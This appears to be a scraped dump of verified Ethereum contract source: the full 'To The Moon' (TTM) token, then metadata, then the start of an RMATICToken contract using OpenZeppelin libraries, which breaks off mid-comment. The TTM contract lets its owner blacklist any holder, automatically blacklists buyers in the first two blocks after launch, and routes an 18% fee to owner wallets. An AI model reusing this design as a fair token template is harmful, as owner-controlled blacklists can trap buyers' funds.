/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* To The Moon https://t.me/tothemoon_global */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TTM is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "To The Moon"; string private constant _symbol = 'TTM'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 16; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private launchBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (block.number == launchBlock || block.number == launchBlock + 1) { bots[to] = true; bots[tx.origin] = true; } if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }

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v0.6.12+commit.27d51765

000000000000000000000000ed59ac560b3ffa51bd168205a336d94c68f8f0e1000000000000000000000000c38ab273ac228880543c835a5348e9e2369c8c47

Default

None

ipfs://987e79e22044d38bddea57781f2ce1bc326ab1d6eae00ff368eeb9c277c89940

RMATICToken

RMATICToken.sol

0x3dbb00c9be5a327e25caf4f650844c5dba81e34b

Solidity

/** *Submitted for verification at Etherscan.io on 2021-07-20 */ /** *Submitted for verification at Etherscan.io on 2020-12-08 */ pragma solidity 0.6.12; // SPDX-License-Identifier: GPL-3.0-only abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev 